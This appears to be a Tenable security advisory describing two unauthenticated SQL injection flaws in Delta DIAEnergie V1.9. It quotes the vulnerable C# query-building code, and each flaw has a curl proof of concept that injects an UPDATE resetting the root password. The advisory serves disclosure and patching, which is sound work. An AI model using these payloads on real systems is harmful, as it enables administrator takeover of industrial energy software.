Synopsis
Multiple SQL injection vulnerabilities exist in Delta Electronics DIAEnergie V1.9.
1) HandlerPageP_KID GetUDcontent SQLi (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The specific flaw exists in the HandlerPageP_KID C# class when handling URL endpoint /DataHandler/HandlerPageP_KID.ashx with URL parameter ttype being 'GetUDcontent':
# HandlerPageP_KID.ProcessRequest()
<...snip...>
case "GetUDcontent":
{
int num3 = 0;
int num4 = 0;
string text26 = "select * from DIAE_UD where HID='{0}' and kid='{1}'";
dataTable = ADODB_Common.OpenDataTable(connectionString, string.Format(text26, text7, text2), false);
<...snip...>
An unauthenticated remote attacker can inject SQL statements in the HtmlId or KID URL parameter.
POC: change DIAEnergie root password to 'password123' (without quotes)
curl -i -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSg0ODE3MTQ1MjgwMDAwKVwvIn0.ceUAC-44b_zgu_5v7tmoTQ1X4sm8048B68d5BGKJ-xZkADYM5mTZFnDBzxtga3OtHveQbvPuvdDyCTE-YDo4JA' -d "ttype=GetUDcontent&HtmlId=1&KID=1';UPDATE%20DIAEnergie.dbo.DIAE_us%20SET%20pw=N'exJ/3E15SkSjem/EOj/JubyAEzX5F5zrBVKdPff2C9I='%20WHERE%20uid=1;--" 'http://<target-host>/DataHandler/HandlerPageP_KID.ashx'
2) HICT_Loop SQLi (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The specific flaw exists in the HICT_Loop C# class:
# HICT_Loop.HICT_Loop()
<...snip...>
public HICT_Loop(string hid, string egid, string kid, string eccid)
{
this._kid = kid;
this._hid = hid;
this._egid = egid;
this._eccid = eccid;
List<string> value = new List<string>();
List<string> value2 = new List<string>();
DataTable dataTable = new DataTable();
string strSQL = string.Format("select udloopmapid as lid from DIAE_udloopmap where DIAE_udloopmap.hier_id='{0}' and DIAE_udloopmap.egy_id ='{1}' and DIAE_udloopmap.kid ='{2}' ", hid, egid, kid);
dataTable = ADODB_Common.OpenDataTable(HICT_Loop.cnnstr, strSQL, false);
<...snip...>
An unauthenticated remote attacker can inject SQL statements in the hier_id, egy_id, or kid URL parameter for endpoint /DataHandler/HandlerTag_KID.ashx.
POC: change DIAEnergie root password to 'password123' (without quotes)
curl -i -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSg0ODE3MTQ1MjgwMDAwKVwvIn0.ceUAC-44b_zgu_5v7tmoTQ1X4sm8048B68d5BGKJ-xZkADYM5mTZFnDBzxtga3OtHveQbvPuvdDyCTE-YDo4JA' "http://<target-host>/DataHandler/HandlerTag_KID.ashx?ttype=GetLpId&hier_id=1&egy_id=1&kid=1';UPDATE%20DIAEnergie.dbo.DIAE_us%20SET%20pw=N'exJ/3E15SkSjem/EOj/JubyAEzX5F5zrBVKdPff2C9I='%20WHERE%20uid=1;--"
Solution
Delta has provided fixes version 1.9.02.002 of this product. Users can contact their front end FAE and SC representatives to obtain the update.
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]
Contact our sales team